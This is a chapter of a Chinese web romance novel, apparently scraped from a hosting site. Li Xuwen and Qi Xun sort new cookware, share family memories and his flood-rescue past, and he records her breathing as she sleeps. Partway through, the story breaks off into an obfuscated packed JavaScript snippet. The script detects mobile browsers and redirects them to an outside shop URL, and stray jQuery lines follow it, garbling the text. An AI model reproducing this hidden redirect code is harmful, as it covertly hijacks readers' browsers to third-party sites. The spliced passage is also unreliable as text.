黎叙闻带着一身情绪过载的疲惫走到家门口,见齐寻正坐在车里等她。
他把两边的车窗都降下来,在驾驶座上坐得板正,表情冷淡,双眼一片虚焦。
仿佛时间从他身上平滑地流过,却忘了将他带走。
黎叙闻一个错眼,觉得他好像已经等了她很久了。
从认识起他就在等她,原先等她去领证,后来等她去暗访,到现在,等她回家。
她眸光微动,走上前去:“齐寻,走吧。”
齐寻脸上漠然的表情瞬间被打碎,扭头对她笑了一下,下车跟她并肩:“靳言说你们见到琳琳了?怎么样?”
“她状态还不错,就是不知道要治疗多久。”
黎叙闻忽然停下脚步:“比起这个,齐寻,我们之前……真的没有见过吗?”
齐寻身形顿住,凝固了一两秒,才转过身,看着她的眼睛。
她微卷的发尾跟着凉爽夕风浮动:“靳言说,你第一笔捐款是以‘文文’的名义捐的,那是谁?”
“第一次正式见面,你就答应了假结婚这么离谱的要求,”她神色里夹杂着些模糊的希冀,问:“这两件事,有什么联系吗?”
如果他们真的有她自己都不记得的关联……这算不算是一种不可多得的缘分?
要真是那样,那……就考虑考虑他的表白……吧?
齐寻下颌绷紧又松开,后颈僵硬着出了一层的汗,被风一吹,凉得他一哆嗦。
他仔细分辨着她的神情,想从里面看出一丝破绽,或者遮掩不住的厌恶来。
可她眼睛里除了他无法理解的期待,什么都没有。
“没有关联。”他赌了一把。
“那是当时录音助理的艺名,”他先一步跨上台阶推开门,把表情遮掩在阴影里:“我随手拿来用了。”
黎叙闻紧张得要飞出胸膛的心脏,一下漏了气。
“那是靳言误会了,”她面无表情地跟上去,进了电梯:“你有机会跟她解释吧。”
齐寻嗯了一声。
电梯的数字一格一格往上蹦,轿厢里响起机械运转的碦啦声,拽着黎叙闻的心一起下沉。
开门之前,他说:“别解释了,也不算错。”
“别啊,”黎叙闻笑了一声,这个暗亏必须从他身上讨回来:“搞得我鸠占鹊巢,占了别人的便宜似的。”
“怎么,你希望我说有?”齐寻轻描淡写:“在期待什么?”
黎叙闻冷笑:“谁期待谁是狗。”
她准备作威作福,把齐寻关在门外,却被一大箱快递挡住了去路。
“这什么?”扭头问齐寻:“你买的?”
“嗯,”齐寻无奈地俯身搬起快递:“锅啊,你日子不过了?”
黎叙闻难以置信:“齐寻……”
“嗯?”
“你该不会是男妈妈吧?”
“……在我翻脸之前赶紧开门。”男妈妈面色铁青:“要不你就自己搬。”
黎叙闻这辈子还没见过这么多种类的锅。
汤锅和炒锅长得不一样就算了,为什么煮鸡蛋和煮牛奶的锅也不是同一个?
她展开比她命都长的品类说明书:“……我觉得我要不认识锅这个字了。”
这很尴尬,因为齐寻也不是什么过日子的人,看他的毛坯房就知道,他就没打算过凡人的生活,只是看这套比较贵,想着一定有贵的道理。
于是两个人蹲在墙还黢黑一片的厨房,脑袋对脑袋,研究这十几个珐琅疙瘩各自是做什么用的。
黎叙闻拿起一只奶锅掂了掂:“这个蛮趁手,你说我再去暗访,能拿这个防身吗?”
齐寻看了一眼:“十年起步。”
黎叙闻乖乖放下了。
“明天你要上班了?”齐寻问她:“我找人来把这面墙处理一下。”
“要不还是把那一块的瓷砖敲了,重新铺得了?”
“不知道,听专业人士的。”
黎叙闻支起身子,盯着他乌黑发顶,忽然笑了。
齐寻研究锅研究得一脑门子官司,听她笑,疑惑地抬头看她。
“我想起来一件不太相干的事,”她弯着眼睛:“我爸我妈刚结婚那会儿,还没我呢,两个人天天玩,也不知道攒钱,结果到冬天了没钱买菜,就偷邻居放在楼道的大白菜吃。”
“等发了工资,实在过意不去,买了两倍的白菜给人家堆在门口,邻居还以为是谁恶作剧,站在门口骂街骂了一晚上,他俩吓得缩在家里,一声也不敢出。”
齐寻盘腿坐在地上,看着她笑语盈盈,也忍不住勾起唇角:“怎么想起这个来?”
“不知道,”黎叙闻神情柔软:“就是觉得,我好像也体验了一把他们那时候鸡飞狗跳的感觉。”
说起这个,她抿着嘴唇低下头,想,如果他们一家三口好好的,爸妈一定都会喜欢齐寻的。
可如果那样,她大概也不会非要当调查记者,也就不会遇到齐寻了。
黎叙闻轻叹一声,伸手去够另一口锅:“不提了。”
齐寻从没听她平心静气提过自己的父亲。
想想那时候在震区,她信誓旦旦:“我爸爸超级爱我”,后来到底发生了什么,让这样的家庭也分崩离析?
他想开口问,又想起跟马颂今吃饭那天,提到父亲时她的反应,终究作罢了。
黎叙闻又道:“明天我去跟社科院那边打个招呼,把咱们抢回来的那套笔记给他们看看,如果发现有价值的选题,我可能又要出差了。你一个人睡这里……”
齐寻默然。
实际上不仅仅是睡觉的问题,他甚至不能一个人呆在这套公寓里,不然今天他就不必在车里一直坐着,等她回家了。
可他更担心黎叙闻顺水推舟,说你伤也好得差不多了,要不你就回去住?
才给她买了十几口珐琅凶器,转头她一不留神,再把房子给点了……
绝对不是他有私心,只是他买的东西他就得负责,对吧?
心里一番接一番的,也不知道在解释给谁听。
“研究好了吧?”他站起身来,不敢听似地:“你去休息,我收拾一下。”
黎叙闻伸手拽住他的手腕。
“不是,我是想说……”她声音里有难得的犹豫:“我是想说,要不要试试录音呢?”
齐寻转身看她。
她坐在地上,昂着下巴,给他比划:“要是你把我睡觉时的呼吸声录下来,我不在家的时候带在身边,会不会好一些?”
入睡后的声音……太过隐私,就像他爸爸的牛角梳,黎叙闻的浴巾,都带有一种亲近暧昧的意味。
虽然她本人都觉得没什么,但这样摊开了说出来,齐寻心口却烧起一阵微妙的星火。
“就今晚吧,”黎叙闻一锤定音:“就辛苦你晚点睡了!”
但最后睡不着的是黎叙闻。
她紧闭着眼睛躺在床上:“开始录没有?”
齐寻坐在她身边整理素材库:“你不是还没睡着么。”
黎叙闻哦一声,继续努力睡,却压不住心里难以言喻的紧张。
她睡着之后呼吸声够平稳吗?好听吗?能不能显示出她甜美安静的形象?
今天挺累的,不会磨牙吧?要是说梦话怎么办?
要不要像网上教的那样,假装发出小动物似的可爱声音,对冲一下她铁血记者的气质,给他一点小小的震撼?
越想越睡不着了。
“齐寻,”她依旧闭着眼睛:“睡不着。”
“那怎么办?”
“不然你讲个故事。”
“……你五岁?”
黎叙闻睁开眼瞪他:“我辛辛苦苦睡觉,是为了谁?”
齐寻嘴角抽搐:“没有我你就不睡了是吧。”
表面上斗着嘴,实际还是老老实实问:“想听什么?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973332|190916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你会讲什么?”
“龟兔赛跑和丑小鸭。”
“……不然你讲讲你第一次救援的事。”
齐寻合上电脑,表情匪夷所思:“你确定这是睡前故事?听完你就睡不着了。”
那年淫雨绵绵下了一周多,农田村落被淹得七零八落,微光救援的五十名救援人员由纪士诚带队,奔赴灾区。
那个被纪队长带在身边,顶着一张紧绷面孔的少年,就是齐寻。
他始终沉默地坐在队长边上,很少跟别人对视,但到底是少年人,无人注意的时候,他也会好奇地打量冲锋舟,充气艇,还有人人身上都绑着的小臂粗的救援绳。
有人注意到他,笑着跟纪士诚打趣:“纪队,你儿子啊?”
纪队长好脾气地打哈哈:“我要能生出这么帅的儿子,那倒好了。”
齐寻抿着唇角把脸撇向一边,旁人看不见的耳后一片通红。
那次的洪水格外凶猛,洪峰从远处迫不及待地赶来,纪士诚看着山丘一样的水从远处拍来,在岸上嘶吼:“撤!撤退!快!”
队员身子远远探出冲锋舟边缘去拉一个小孩——孩子七八岁,在房顶上哭得满脸是泪。
但就在这时,一个浪头打来,把冲锋舟上的救援队都拍懵了,两秒钟后定神再看,房顶上哪还有孩子的影子!
纪士诚拉紧了不住飘摇的安全绳,在泼天大雨中喊:“抓紧!不要下船,不要——”
他身边蓦地一空,回头一看,身边的齐寻不知什么时候已经不见了!
而此时的齐寻在没顶的洪水里,什么都听不见。
他咬牙睁着眼,身体丝毫不受控制,被洪荒之力裹挟着,飞速向下游流去,一把将孩子捞了过来。
水流卷着烂枝和断木,汹涌地冲他们拍过来,他什么都没来得及想,只堪堪将孩子护在怀里,千钧一发之际背向断木蜷起身,一瞬间的冲击让他猝不及防呛了水,便什么也不知道了。
黎叙闻听得眉头紧皱:“然后呢?救下来了吗?”
“……没有。”
饶是齐寻那样拼命,那个孩子还是没有活下来。
等他清醒已经是几天之后,当时那块漂浮的门板被一颗倒伏的大树挡住,阴差阳错救了他一命。
齐寻在ICU里醒来,肺部感染让他呼吸都困难,他戴着氧气面罩,用气声问纪士诚:“孩子,活了吗?”
纪士诚忍了又忍,才绷着声音说:“没有。”
心率监护仪忽地发出刺耳的鸣叫。
他胸膛剧烈起伏着,脖颈处青筋暴起,肺像被烙铁撑开一样生疼,手指明明脱力,还死死地攥着床单。
值班护士语气不善:“家属,家属出来,病人要休息。”
纪士诚瞪着布满血丝的眼睛,说:“齐寻,记住了,你的命不是你一个人的,做事之前,一定要想清楚。”
后来,齐寻多方打听,也没有打听到那孩子叫什么名字,父母是谁。
于是每年的那一天,无论是出救援任务,还是做防汛培训,齐寻总会抽空,在十字路口摆几样零食,烧几张纸钱。
而距离他明白纪士诚的那句“你的命不是你一个人的”,还要等上许多年。
“所以你现在理解了吗?”黎叙闻侧身面对他,问。
齐寻垂着眼睛,看她被身后灯光勾勒出的绒边:“理解了。”
他的理解,却与纪士诚的教导大相径庭。
黎叙闻拍拍他的小臂,声音开始黏糊:“齐寻,你是一个特别好的人。”
她慢慢闭上眼睛:“所以,你要平安。”
均匀绵长的声音在他身边响起,她瓷白的手指还虚虚搭在他的手腕上。
齐寻打开笔电,循着波形,把她最后那句话从长长的音频中剪出来,放进了专门建的音效库。
“如果你看到的,都不是真的呢,”他用指尖轻轻挑开她唇角发丝:“晚安。”